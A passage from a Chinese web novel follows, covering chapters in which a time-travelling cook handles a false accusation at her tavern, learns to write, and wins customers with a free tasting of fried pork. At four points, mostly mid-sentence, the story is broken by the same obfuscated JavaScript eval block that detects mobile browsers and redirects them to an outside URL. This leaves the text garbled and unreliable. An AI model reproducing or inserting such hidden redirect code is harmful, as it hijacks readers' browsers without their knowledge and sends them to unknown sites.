左侧的空地不知何时装上个长架子，上边三面用石板围住。沈秋瑜还纳闷这是何意，就见文竹端着碗筷站在前头洗碗。 “那池中的污水又如何排出？” 周瑶理牵着她上前，指着中间的小圆块，“我让林郎君帮忙找人在这中间挖孔，再在下方接上竹管子。” 蓄水时把孔堵上，等排水再将塞子挪开。 沈秋瑜瞧着新物件止不住赞叹，直夸周瑶理是个人才。再往旁看，就看见架子边上放张板凳，上头放着个木桶，还戳了根粗棍。 这下不用她问，周瑶理抢先解释。 “这是净衣桶。” 搬家那天她就琢磨着想做个洗衣服的工具，思索半天画了张草图给林嘉行，让他帮忙找木匠打一个。 现成的资源，不用白不用。 没想到林嘉行速度够快，才两天的功夫就拿着成品过来了，和她草图上的一模一样。 桶身并不高，只比木盆高上些许。但在桶的中间又按上底座，上面放了个齿轮型的圆木板，最后再用巧思装上一根粗棍。 转动棍子时便能带动底下的齿轮板，由此就能将衣服洗净。 “不愧是瑶娘，我还担心你会住不惯呢。”沈秋瑜上手试着转动棍子，边感叹她的小巧思。 “自己的日子，总得过得舒心些。”周瑶理双手叉腰，没心没肺笑道。 “今日叨扰了，等瑶娘下次假休我教你习字。”沈秋瑜牵着周瑶理的手站在门口同她道别。 之前沈二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892572|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘子就发现她识得字但却不会写，即是会写的几个字也是让人不忍直视。 周瑶理别提多高兴，谁不想会读书写字。这儿全是繁体字，她倒是看得懂，但让她写就没招了。 “天色渐晚，周娘子莫送。”林嘉行把打算送他们出去的周瑶理赶回去。 巷子黑，等会儿就她自己一人走回去不安全。 “行，那你们注意安全。” 周瑶理就知道系统不会让她过得太顺心，安逸日子没多过久，云禾酒馆就有人来闹事儿。 那日她还在后厨忙活，东家莫名其妙闯进来说出大事儿了，着急忙慌地拉她出去。被一路推到大堂才知道，原来是有客人说在餐食里吃出杂物。 那闹事之人瞧见来人是位年轻女子，瞬时横眉竖眼大掌一拍，桌上的酒杯都被震倒。 “你们云禾就是如此办事？竟喊一小娘子来糊弄我。” 东家低眉顺眼陪笑道，“瞧客官说的，周娘子确实是我们云禾的厨子之一。”说罢将周瑶理扯上前来，“快跟人赔罪。” 周瑶理如撅嘴葫芦，死活不开口。 开什么玩笑？说话得讲证据，稀里糊涂接下这口大锅不是她粉行事风格。 “客官可莫要胡说，说话要讲证据。” 那汉子瞧她完全不怵，站起身来如同一堵肉墙，居高临下瞪她。 周瑶理见状不遑多让，拉过一旁的板凳，手撑在东家肩膀上借力，猛地站上凳子双手叉腰，手中还拎着锅铲。 “郎子莫不是瞧不起人。敢问郎君，世间有何人一出生便是大厨？亦或是等到一定年岁自动成为大厨的？” 其他食客早就发现这边的嘈杂声，现在更是丢下碗筷前来看热闹。 地下站着围观的人多了起来，周瑶理不忘跟人互动，“各位客官可认同我方才的话。” 汉子瞧见他人纷纷点头，当下便觉着被她下了面子，转头恶狠狠瞪住东家。 王东家这会儿也反应过来，厉声喝道，“周瑶理你想不想干了，赶紧下来！” 闹事的男人见她吃瘪，又将看客的注意力引回那盘菜上。 “各位评评理，这位厨娘方才说我污蔑，还请各位看看这是何物。”说罢张开手掌，手心里躺着的正是刚刚从菜里找出来的杂物，一颗珠子。 眼见自己站上上风，汉子得意朝她挑眉，接着说道，“既然这菜是厨娘做的，那这颗珠子可不就是从她身上掉的嘛！” 大男人哪儿来的珠子。 其他人纷纷交头接耳，视线在周瑶理身上四处扫动。 周瑶理双手环胸，回他个大大的白眼，“若按郎子这么说，玲珑阁的簪钗我都喜欢，那玲珑阁就是我的了？” 不知人群中何人笑出声，其他人也被带动，不少好事人还调侃那汉子。 趁这功夫，周瑶理继续追击，“各位大可看看我身上是否有头面之类的物件。” 干她们这行的，最忌讳身上佩戴零碎饰品。她可是立志要当天下第一厨，又怎会犯这样的低级错误。 “周厨娘确实打扮朴素。”离她最近的娘子附议，她连束发用的都是发带。 见此，那汉子哑口无言，张着嘴巴支吾半天也说不个字儿来。 这时人群中有人认出他来，“诶，这不是芳味楼家打杂的吗！” 11. 恶语伤人暖暖的 东家这才回味过来，哪是什么菜品出问题，分明是对家闹事！ 其他人纷纷往前挤，就想看看是不是真如那人所言，定眼一看还真是。 “没认错，确实是芳味楼的老泉！”撅着屁股使劲儿往前探头的郎君看清面孔后，激动地指着污蔑周瑶理的汉子。 想当初他和夫人只说句芳味楼家的毕罗不新鲜，就被这个叫老泉的男人以闹事之名轰出店去。打那次起他就没再走进芳味楼过，但眼前的男人化成灰他都认识。 “好啊，原来你们芳味楼就是此等做派。”周瑶理本就不是好说话的人，让她抓到把柄更是不得了，“掌柜的，咱们报官，状告他个污蔑之罪！” 老泉一听深知事情败漏，扒开人群就想往外跑。 其他人哪儿能让他得逞，个个儿将他包围住，连只蚊子都翻不出去。 慌不择乱下，他将眼前的人墙撕开，寻着空隙钻出去，一眨眼便跑没了影。 唱戏的人跑了，食客也慢慢散去。衙门没去成，这出戏也只当别人饭后茶余的闲谈。 周瑶理转头就看见黄蛮窝在楼梯旁贼眼溜溜地往这看，和她视线对上之后心虚地转身遛进后厨。 见他这幅姿态，周瑶理心想准没好事。本想直接回后厨的脚步停下，转身又走回刚刚那张桌子旁。 “我说呢…”她看向那碗还未来得及收走的馎饦汤。 云禾关店得早，每日晚间六点多就闭店。 平日里周瑶理都是早早收拾完归家，今日出了这事，东家的把大伙儿都留下来训话。 “往后上菜前一定要多注意，切莫再发生今日这种错处。” 说罢还睨她一眼，“特别是周厨娘，虽说此次错不在你，但你也得多加小心。” 周瑶理瞬间站起身，怒目直瞪。 什么意思？怎么还指桑骂槐上了。 “东家这话说的，怎的还特地点我。” 她实在忍无可忍，“就是爱打扮也不止我一人，更何况我每日素面朝天，实在受不得这等委屈。 “还有，今日那道馎饦汤可不是我做的。”她今天压根儿没做过一碗馎饦。 王掌柜疑惑，黄蛮当时明明说今日是她负责馎饦汤的，难道是自己听错了？ 李莽此时也替周瑶理辩驳，后厨每日的职责都是他安排的。今日做馎饦汤的应该是黄蛮才对。 被点到名的黄蛮眼神闪躲，完全不敢看她一眼。 周瑶理只一眼就知是他在搞鬼，站起身走到他身侧。 只见他又侧过脸，遮掩般叠着手中的抹布。 “好你个黄蛮子，果真人如其名就是个蛮子。”说罢觉着气势还不够，卷起衣袖继续骂道。 “一天天不想着学做菜尽整些污糟事儿，这辈子都没法儿出人头地！” 出了口恶气后，周瑶理将襻膊一摘塞进旁边目瞪口呆的东家手里，径直离去。 云禾向来包食住，周瑶理基本在馆子里用完饭才回去，今天连饭都不吃了。本来白天那事儿就已足够让人败性，现在看到姓黄的更是倒胃口。 酒馆内几人面面相觑，黄蛮阴沉着脸攥紧手中的布块。 王掌柜看了看手中的襻膊，干巴巴说道，“她平日如此泼辣？” 李莽同刘大厨尴尬挠脸找补道，“小周她平日不这样，孩子挺懂事的。” 就是脾气躁了点，力气也大一些。 周瑶理回到家中时心里还憋着口气，恨不得明天把黄蛮剁成肉酱。她的职业生涯差点就沾上污点，还好她留了心眼。 拴上门时发现地上躺着封信纸，捡起来一看署名，原是沈秋瑜。 估计以为她下班了，没想到是被迫加班。 晚上洗漱过后躺上床她才有空掏出信纸打开。 「予瑶娘， 吾观明日十五，知卿卿假休，遂前来邀你上府一叙。只可惜未能见上面，难过矣。 瑜娘留」 “姐妹聚会？”周瑶理沉思，那她明天做些小点心带过去！ 第一次在古代交到朋友，得好好经营友情才行。 现代。 周瑶理自从上次随机更新之后，得有小半月没再打理她的账号。再继续断更，她的存款不够支撑她活下去。 好在她前段时间已经想到个新主题，这几天一直在写脚本拍视频，现在手中的素材足以剪成一支新的视频。 赶在十点前将视频发出去，等她洗完澡回来，底下的评论蹭蹭直冒。 不学理只做饭：穿回古代当大厨的第一道菜会做什么呢？ -热评1:好像更新了，不确定再看一眼，真的更新了！ -热评2:要命，吃上古代饭了，美食博主也要写小说吗。 周瑶理这次打算把视频做成一整个系列，灵感就从她每日在雍都朝的日常节选。 既能将这段经历记录下来又能稳定更新留住粉丝，实在一箭双雕。 -热评4:赛螃蟹何德何能登上首位！ 周瑶理不语，拿起键盘猛敲。 不学理只做饭：那必然是蟹入人心苦当夏。 林嘉行手机屏幕亮起，拿过手机一看，原来是周瑶理的账号更新视频了。 打开随手点个赞，继续看下去就发现旁白是她自己配的。 “周娘子穿越之后遇到的第一个难题便是，老板儿子想在六月天吃大螃蟹怎么办？ 难不倒我们周娘子，一道赛螃蟹足矣！” 她有做过赛螃蟹吗？怎么有种陌生感。 不怪林嘉行没印象，他确实没看过。先前周瑶理上沈家做宴时他正好在国内，因此落下好几期没看。 等他回伦敦后再次打开发现往前的几集都看不了，再然后便是现在这般光景，每天晚上打开文件夹便能准时准点出现在周瑶理所在的世界。 -周大厨做蟹功夫了得。 周瑶理打开对话框就看见林嘉行发来的信息，莫名其妙被戳中笑点，笑得瘫倒在床上。 一想到他面无表情敲下这句话就止不住想笑，等笑够了才想起还没回复。 林嘉行信息发出去那刻就有些后悔了，自己莫名其妙发这句话，周瑶理会不会以为他是变态啊。 想撤回时已经来不及了，顶上跳出“对方正在输入中”。 -林郎君过誉。 周瑶理看着对面发来的信息心，说是等会儿给她送东西。 瞬时她对林嘉行感到好奇，他怎么天天给自己送东西。 难道这就叫财大气粗吗？为什么系统要给她安排穷苦新手厨子的人设！ 太不给面子了。 突然眼前一阵眩晕，随即慢慢失去意识。晕过去之前周瑶理十分庆幸，还好盖上被子。 之前有次也是忙到忘记时间，等她反应过来时已经昏睡过去没盖被子开着空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892573|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调吹一夜。第二天早上意识开始回流就应该起了浑身鸡皮疙瘩，结果就是一整天都在打喷嚏。 幸好这次在晕过去前还记得扯过被子盖上。 沈秋瑜昨天没见着人，回了府方才想起信里没跟周瑶理约定时间，今儿一早便来寻她。 青乌巷离沈府有些远，周瑶理没有马车，单靠她一双腿不知得走到何时。 “你怎么来了？我正想着出门去府上找你呢。” 周瑶理刚把盘碟放进食盒里就听见叩门声，随即外头响起沈秋瑜的声音。 来不及让她坐下，周瑶理回头拎起食盒挽着瑜娘出门去。 沈秋瑜好奇她盒子里装的东西，周瑶理只说给她家里人带的小点心，不费事。 等到沈府，门房迎着二人进门。 上别人家里玩得先同家中长辈打声招呼这个道理，周瑶理还是懂得的。只是沈老夫人觉少，这会儿正搁园子里赏花，二人又顺着□□一路寻过去。 “老夫人安。”终于见着人了，周瑶理松口气。 这院子忒大了，走过小径绕过池塘，接着又得穿过月洞门。 一趟下来像在健身房做了三十分钟有氧。 “许久不见小周姑娘，倒是清瘦些许。” 老太太还记得她，平日里沈二丫头也总爱在家中提起，说是周娘子还做了好些新奇菜色。 沈秋瑜惯是会讲故事的，愣是把老夫人胃口都吊紧了。 周瑶理提着食盒，和沈秋瑜分别走在沈老太太身侧。 再往前点便是一处露天石桌，几人停下歇息，正好看看周瑶理又做了什么新鲜玩意儿。 “暑气蒸人，小辈琢磨着给老夫人做些消暑糕点。” 旁侧的丫鬟接过她递来的食盒打开，里头端放一碟绿茶豆糕。 昨夜周瑶理就已把绿豆洗好浸泡，等今早醒来便可捞出清洗去皮。蒸屉铺上笼布，再将备好的脱皮绿豆尽数倒入，蒸至豆瓣轻碾既碎。 只绿豆糕未免太过单调，不若加些茶粉进去，既能增添风味又能提色。 “原来藏在这！”周瑶理翻出仅存的一小撮茶叶，这还是上回办乔迁宴时从云禾酒馆顺回来的，现下只剩丁点儿。 不过也够用了。 她本想偷个懒直接将茶叶擂成碎末，思索一番还是架起小火炉干煸茶叶。 可不能因为懒惰自砸招牌。 盛出绿豆瓣趁热捣碎成蓉，越是细腻口感越好。将茶碎同砂糖一并倒入，再加上少许素油上小火炉翻拌均匀，直到豆泥抱团即可。 沈秋瑜来敲门那会儿她刚好捏完最后一块绿豆糕，一切都正新鲜。 虽说沈府离她家远了点，但好在不是步行，倒也省时。 沈老夫人捏起一块，凑得近了还能闻到淡淡茶香，等送进口中茶味更是浓郁，甜腻的豆蓉中和了茶粉苦涩，口感绵滑入口即化。 “周娘子做得一手好菜，竟没想糕点也颇为拿手。”老妇人连声称赞。 昌南道不乏甜面糕食，就连生意最好的糕坊都开了好几家分号。周瑶理带来的这份绿茶豆糕，居然还可以，就是茶叶差了点。 “年纪大不一会儿就乏了，二丫头你带着周姑娘到处转转。”沈老夫人早就发现周瑶理的不自在，索性寻个由头让她二人自行玩儿去。 “瑜娘便不打扰阿家了。” 沈秋瑜起身福礼，挽着周瑶理离去。 12. 妈妈，原来我是文盲 “瑶娘可识得多少字？” 沈秋瑜抽出书堆下压着的宣纸，拿出镇石压住，再拉过周瑶理绕过桌侧。 周瑶理没好意思讲，她们现代人都是写的简体字，古代的繁体着实写不了几个字。 不过读倒是会的，多少懂一些。 见她皱着眉头满脸苦大仇深的样子，沈秋瑜干脆随口挑几个字让她写，结果周瑶理只是一味地摇头再摇头。 “识得字却不会写？”沈秋瑜第一次知道还有这种类型，书册里的字她都识得，盖上书随便挑几个字让她写却无从下手。 好在周瑶理知道自己的名字怎么写，接过笔在纸上洋洋洒洒写下三个大字。 “原来是这个理。”沈秋瑜诧异，这还是她第一次知道周瑶理是哪三个字，先前总以为是知书识礼的礼。 说起名字这事儿，周瑶理能吐槽她爸妈三天三夜不带停。她亲爱的老父老母当年想着学理有出路，上户口时直接起了这名儿。 周瑶理，周要理！ “瑶娘可有想学的？”沈秋瑜见她也不算全然不识字的样子，一些简单的倒也会写。 周瑶理撑着脑袋想了半天，脱口而出一大堆菜名和调料名称。于她而言现在最紧要的便是懂得那些菜名怎么写，等她记住这些再慢慢学其他的也不迟。 赖在沈宅小半天，等出门时她怀中抱着一份笔墨砚，身后还背了个宣纸桶。 临出门前沈秋瑜硬塞给她的。 许是第一回留下的印象太深，沈二娘子生怕她为了存钱又不舍得买墨宝，干脆送她一份。 “这份课业收好了，每五日我检查一次。” 周瑶理郑重点头，她保证日夜勤奋，必定练出一手好字！ “周娘子慢走。”沈家车夫将她送回青乌巷，等她站稳后才福礼离去。 周瑶理目送马车走远，搂紧怀中的东西转身准备回去，就听见有人喊自己，一抬头便看见文竹站在不远处的摊子那儿朝她挥手，身旁还坐着林嘉行。 文竹瞧她走过来，从边上拉来木凳，随后离开位置去找摊主给她要碗甜汤，周瑶理放下手中的东西坐下。 “你们怎么在这？”她记得来之前有发信息说过自己今天要出门，让他别来以免跑空。 难道是来得太着急，信息没来得及发出去？ “也没等太久，刚坐下你就回来了。”林嘉行扒拉着甜汤，随口说道。 其实到这有一段时间，他想着太晚去人姑娘家里总归不礼貌，便早些出门在外等她。 只是没想到周瑶理和沈家二小姐竟这么谈得来，愣是等了半个时辰才见到她从沈家马车下来。 说罢，林嘉行拿出个小匣子推到她面前。 “这又是啥？”周瑶理拿起木匣抱入怀中，四处张望生怕有人抢了去。 林嘉行被她遮掩的动作逗笑，“这次不是金子。” 周瑶理闻言尴尬呵笑两声，她刚刚表现得有那么明显吗。 好失望，今天财神爷没眷顾她。 匣子里头躺着个玉雕粉盒，打开一看是膏状物，还飘出淡淡的花香。 “郎君昨儿特地去珍宝阁买的手脂膏。”文竹这会儿端着碗甜汤回来，在周瑶理面前稳当放下后，坐在一旁抢先答道。 林嘉行本想说只是路过看看，结果就被文竹透了老底。 “别听他瞎说，就是突然想起你可能需要这个。” 林嘉行自打来到这后每天都无所事事，古代的书册全是繁体字，看得他偏头痛。 又不能天天去云禾酒馆找周瑶理，不仅影响她名声还打搅她升级打怪。他俩能不能真正从这里离开，全看周瑶理何时当上天下第一厨。 林嘉行对自己的定位很明确，他得做好贤内助，周大厨指哪儿他打哪儿，绝不给她添乱子！ 思来想去只好在家看风景，时不时叹口气。 林业哪知其中的弯弯绕绕，只晓得自己这位侄儿近段时日满脸愁容，整日对着池中鱼唉声叹气。 这可不妙，他还等着这位贤侄回言安后替他在老夫人面前多美言几句，别将昌南林家给忘了，能帮他寻到一半官职更是不错。 当即寻由头在家中办宴，所有当下时兴的玩意儿全都搜罗来，只要贤侄莫要一副这辈子都不想说话的样子就好。 林嘉行虽说将人设本从头到尾都翻了个遍，背得是滚瓜烂熟，但真让他融入进去还有些放不开手脚。 全程只安静坐在那儿听弟弟妹妹们吐槽书院夫子，胭脂铺子又上新哪些东西。 “四妹妹刚刚说的手脂是何物？”林嘉行指着林四娘子手中的粉盒问道。 林四娘子本还在和自家姐姐分享前两日在珍宝阁买的手脂，就发现那位哑疾突好的堂兄不问哥哥们的课业，反而对自己手中的粉盒感兴趣。 林嘉行接过对方递来的盒子仔细端详，原来是护手霜。 他人见此也感到新奇，“没想到林郎君竟对姑娘家的胭脂水粉也有研究。” “难不成你平日就任由自己的手生冻疮？”林嘉行斜眼看去，稍低下眼掠过对方垂在身侧的双手。 “瞧你那双手糙的，”他合上粉盒盖子递给林四娘子，叉手立于堂中，“日后若是娶妻，你家娘子估计都不愿与你牵手。” 众人随他的话瞧去，先前说话那男子双手确实粗糙不堪。 对方顿感面上无光，涨红脸反驳，“男儿自是要习武功标青史，怎可拘泥与这类小事。” “你既无军功又无学绩，就连容貌也比不过他人，小娘子凭何择你为夫婿。”说完袖子一甩，转身离去。 林嘉行一整天都被困在府中，本就烦闷得很，这位不知打哪儿来的公子哥坐在这半天嘴就没停过。 除了高谈论阔也没别的可说。 第二天一早他便上珍宝阁，打算给周瑶理也买一瓶手脂。 “上回看见你手上长了倒刺，我便寻思给你送点什么好。”林嘉行解释道。 她们做厨子，每天不是双手泡水就是和刀打交道，手部受伤开裂都是难免的，林嘉行还记得上回就看见她手上多了几个刀口子。 好在这会儿不是冬天，不然再多上几块冻疮，夜里估计都睡不好。 “谢谢你。”周瑶理合上匣子郑重向他道谢。 她其实挺高兴的。虽然更喜欢金子，但心意贵重，胜在用心。 见她这么认真道谢，林嘉行不由得拘谨起来。 说到底他并不敞亮。 在珍宝阁时文竹曾问过他，为何对周娘子如此上心。林嘉行自个儿也说不明白，只希望周瑶理进步得更快些，好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892574|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他俩快些回去。 她只需卯足劲往前冲，其余的杂事儿都交给他解决。 毕竟在这里，他二人称得上只有彼此。 周瑶理这几天忙到脚不沾地，白天抡起锅铲在后厨忙活，晚上下班回到家又得练字。 不止于此，还得留出空子写计划书。 自从上回莫名其妙被人污蔑替人背锅那时起，她便幡然醒悟。 不能再苟下去了，她要变强！ 即使她说破口舌向人介绍自己是厨子，总有人只当她是后厨打杂的。就连一些莫须有的罪名都能往她身上推，不止这次，往后还会有更多的脏水等着自己，只因她师出无名。 更因她是个女人，一个本该待在后院却在外跟他们抢饭碗的女人。 要想冲破这层枷锁，她得将自己的名声打出去，最起码得在云禾站稳脚跟。 周瑶理捣鼓好几日做了份周密的计划书，打算天亮就去酒馆找东家商议，为此她专门用繁体字写，就怕东家看不懂。 “掌柜的你等等！”周瑶理瞧见东家立马将他喊住，堵在后厨。 王东家刚想离开，就看见她端个碗气势汹汹从外头跑进来，将他围堵在后厨内。 其实掌柜的有些怵她，一想到把周瑶理捡回馆子那日她磨刀霍霍向众人便心有余悸，前几日更是把黄蛮痛斥一顿。 虽说错不在她，但这姑娘劲儿太大了。 周瑶理当时怒在心头，直接将站在中间的王掌柜一把推开，直冲黄蛮的方向走去。 东家当时被她推得一踉跄，刚站稳就见黄蛮子被骂得狗血淋头。 从此再见到周瑶理，东家都尽量躲着她走。 他是心里苦啊，明明刚捡到时小姑娘看着柔柔弱弱的，怎的是个混世娘子。 “研发新菜？那…你且试试吧。” 周瑶理满肚子游说的话术刚到嘴边，生生顿住。 就这么简单？亏她以为多费事儿，还专门准备了满满两页纸的白皮书。 实则老王瞄到她身后横放一把菜刀，唯恐自己说一个不字，周瑶理就抄起身后的菜刀朝他迎面劈来。 话不多说，她立马抱着碗跑到灶台前，起锅烧油。 怕东家以食材不够为由，周瑶理昨日横下心去集市买了一小块梅花肉提前腌制好，绝不给掌柜的一丁点儿拒绝的理由。 趁油热的功夫翻出酒馆的薯粉调出粉浆，滚肉裹浆再下入油锅。不出片刻，一小碗金黄脆响的酥肉出锅。 “黄金肉酥！请享用。” 周瑶理从筷筒抽出筷子分给大家，满脸期待望向眼前的各位。 厨子不动筷，新来的杂工也不敢抢先下手，只好眼巴巴地看着。 刘大厨最信得过她，率先夹起一块送入口中，随即被烫得呲牙咧嘴。 “好奇特的做法，大家快试试。”刘师傅嘴里烫得直哈气，但也不住点头。 其他人见了纷纷动筷，随后发出和刘师傅一样的动响。 李莽若有所思看着一旁笑得眯不见眼的周瑶理。 周瑶理察觉有道炙热的眼光盯着自己，转过头一看是李莽，便询问配方是否有不妥的地方。 “火候掌握得刚好，你很聪明。” 得到肯定的周瑶理自信叉腰，感恩电子菜谱。 13. 新身份：雍都金牌推销员 有了李莽这话，她心想这事稳了。 然而王掌柜却皱眉不语，既不拍案驳回也不说同意。 “东家觉得这菜可有问题？”她揣着手小心翼翼开口。 王掌柜这下有反应了，手抵下巴轻微摇头。 周瑶理揪着的心瞬间提起。当地人食鱼鲜禽肉较多，她一开始也不确定是否要让这道菜打头阵。只是回想起当时做宴时瑜娘同文竹两个当地人赞不绝口，便觉可行。 现在想来，多半太过冒进。 不过她还是决定再为自己争取机会，若此时放弃，真就两手空空了，还赔进去块肉。 “我知东家担忧之处，当今人们虽对豚肉不似先前那么避之不及，但也着实谈不上喜欢。” 大多数人要么不吃猪肉，要么取小块肉用重味香辛料腌制。，再成肉泥混合其他食材做成臊子。 而当地香辛料价格太过昂贵，普通人家根本不舍得用如此贵价物腌制一块猪肉，只觉浪费。 周瑶理对此不予评价，但不得不承认名人效应在哪个时代都适应。世家贵族瞧不上的东西，平民百姓便也跟着不加理睬。 “但恰恰如此我们才更要选用豚肉。”她话锋一转眉头紧蹙，可谓是苦口婆心。 “当下豚肉价格便宜，我们可用最低的价钱买进，再烹制成品提价卖出。” “大家今日可吃出杂味？”为此周瑶理向其他人询问，个个都摇头。 老王此时内心早已动摇，她做的那道黄金肉酥确实不错，但大众的口味不由他一人说了算。 周瑶理继续添柴加火，“不如咱们先做几份酥肉在馆子外头摆摊，让过路人免费试吃。” 任何事物只要标上免费二字，总有人凑热闹。 王掌柜眼神瞬间亮起，随后又泼出盆冷水，“若是无人问津，岂不是白费功夫。” 豚肉再便宜那也要用钱买的，更何况是免费试吃，他简直分文不赚。 周瑶理闻言啧他一句，“舍不着孩子套不着狼，东家你自己看着办吧。” 是花费一点小钱扩大市场还是拘于现状保守度日，只看东家有没有发财命了。 “就按你说的，摆摊试吃！” 王掌柜被她鼓动得心头火热，好似下一秒就看见金子朝自己脸上砸来。 就周娘子那机灵劲儿，他心里有底。 七月最后一个假休日，周瑶理在云禾门口搭起小摊摆上刚出锅的酥肉。为了自己的远大前程，忍痛放弃难得的休息日。 刘师傅家中尚有妻儿，昨日下工便归家去。李莽的妻子前些年不在了，唯一的女儿年初也已出嫁，当天闲着没啥事儿，也在门口给她搭把手。 街上来来往往的人渐多，不少人已经围过来好奇探头。 周瑶理见此赶忙抓住机会，“郎君可想尝尝？” 说罢用竹签戳起一块递过去。 瞧对方一脸犹豫迟迟不肯塞进口中，她又戳起另一块送给边上跃跃欲试的娘子，“娘子快些尝尝，这黄金酥肉刚出锅时最好吃了。” 那名娘子在一旁观望好些时候，先前周瑶理还在炸制时，酥肉的味道就一阵阵往她鼻子里钻，馋得不行。 奈何不识字，压根儿不知那块招牌上边儿写的啥。幸好她离得近，这才听到可以免费试吃，一下子便挤进人群站在最前面。 周瑶理捏着手死死盯住眼前的娘子，想从她脸上看出点反应，“娘子可还喜欢？” 对方不住点头，甚至还跟她再多要一块。 先前那位不敢尝试的郎君瞧她这般，被勾起好奇，眼睛一闭就往嘴里塞，下一刻瞬间瞪圆眼。 居然没有意想中的怪味，反而是丝丝咸味混合着辛辣味道的肉香。 其他人见了纷纷上前，云禾门口瞬间围得水泄不通。 “油锅滚烫，各位稍离远些。” 周瑶理担心没人愿意尝试，酥肉放久了不好吃，刚开始只炸了一小部分。 没想到突然涌上这么多人，打得她措手不及，手忙脚乱起锅热油掸入肉条。 打头识字的郎君将招牌上的字念给大伙听，刚刚已尝过其中滋味的看客七言八语道，疑惑之前从未见过这菜。 周瑶理向大伙儿解释，这道黄金酥肉乃云禾新菜，若反响可观即日就会上架，届时都可在云禾酒馆点上一盘。 “原是如此，不会又是李大厨研制的吧。”站在旁侧的男子朝李莽抱手，不住恭维。 云禾李莽谁人不知，就连沈家老夫人都常请他作宴。 李莽闻言面色顿住干咳一声，随后指着周瑶理说道，“并非是我，乃我身旁的周厨娘所创。” “厨子，周厨子。”周瑶理在旁边紧接着提醒。 挑起话茬的男子闻言诧异看向她，斜眼瞄过李莽。只见他低垂头不发一语，男子尴尬闭上嘴不再开口。 倒是其余人听闻刚刚那道让人意犹未尽的新式菜出自于眼前的陌生姑娘，不免得对她刮目相看。 “嗐呀，过奖了。只是我记忆里的乡菜罢了，可不敢自称原创。”她还记得当时系统提及过，即使身处不同时空也不可将原有菜式做为原创。 否则将会延长进度。 自从上回从周瑶理那回来后，林嘉行也开始苦练繁体字，万一某天需要用到自己却不会写，会被她当成文盲的。 这会儿才写没几个字，就见文竹咋咋呼呼跑进来。 “郎君！听说周姑娘在云禾酒馆外头摆摊呢。”文竹刚去了趟文房铺。 他家郎君最近不知怎的迷上练字，宣纸用得可快。从铺子里出来就看见不少人往坊里赶，随手抓个路人一问才知云禾酒馆新来的厨娘正摆摊做新菜式。 云禾不就周姑娘一位厨娘吗？文竹立马驱车回府报信。 林嘉行拿笔的手停在空中，随后将笔搁下，取过文竹递来的湿毛巾净手。 刚开始学写毛笔字，每每写完手上全是墨水。 “就这事？”林嘉行看他慌慌张张跑进来，听到周姑娘仨字儿，还以为又有人找她麻烦，面上一沉。 结果只是摆个摊而已，大惊小怪。 文竹接过帕巾，不乐意道，“小的还听见有郎君说想寻媒人向周姑娘说媒呢。” 他真听着了。本来打算也凑个热闹，走没两步就听见擦身而过的郎君同友人说道，若能将那周厨娘娶回家倒也是幸事一桩。 吓得文竹脚底打滑，掉头立马回家通风报信。 他家郎君定是喜欢周姑娘的，谁都不准插足林嘉行和周姑娘的感情！ 林嘉行从椅子上弹起，皱眉确认，“当真？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900547|192238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >文竹拼命点头，就差两行清泪诉无常，尤怨小人横插足。 “套马。” 林嘉行再也坐不住，他倒要看看是哪个不长眼的便宜男人挡周瑶理的大厨之路。 经费有限，周瑶理只准备了小两斤的猪肉，出乎意料的是反响不错。才一上午的功夫，盆中的肉条所剩无几。 摊子前边儿还围着一圈人。 “周师傅偏心眼，光顾着给前边儿的娘子投食。”站在后边的男人不服气喊道。他挤半天都钻不进人群，炸肉块的香味又一阵阵往外飘，馋得他走不动道。 周瑶理努嘴，双手一摊，“郎君站得颇远，我也没法子。” 前边的娘子们同声附和，趁机又从她手中再接过竹签，惹得没尝到的人纷纷抗议。 林嘉行跳下马车，入眼便是此场景。 “不愧是周姑娘，真有一手。”文竹站在他身后抻长脖子，垫脚观望。 二人慢慢走进，最终被层层包围的人群挡在外层。 好在他长得高大，在人群中露出个头来，被掌柜的一眼捉到。 王东家早前窝在馆子内焦急踱步，直至听见外头嚷嚷声方才夺门而出。 眼前的场景着实让他惊讶，云禾开店这么多年来从未如此热闹过。不由得感慨，他确实没捡错人。 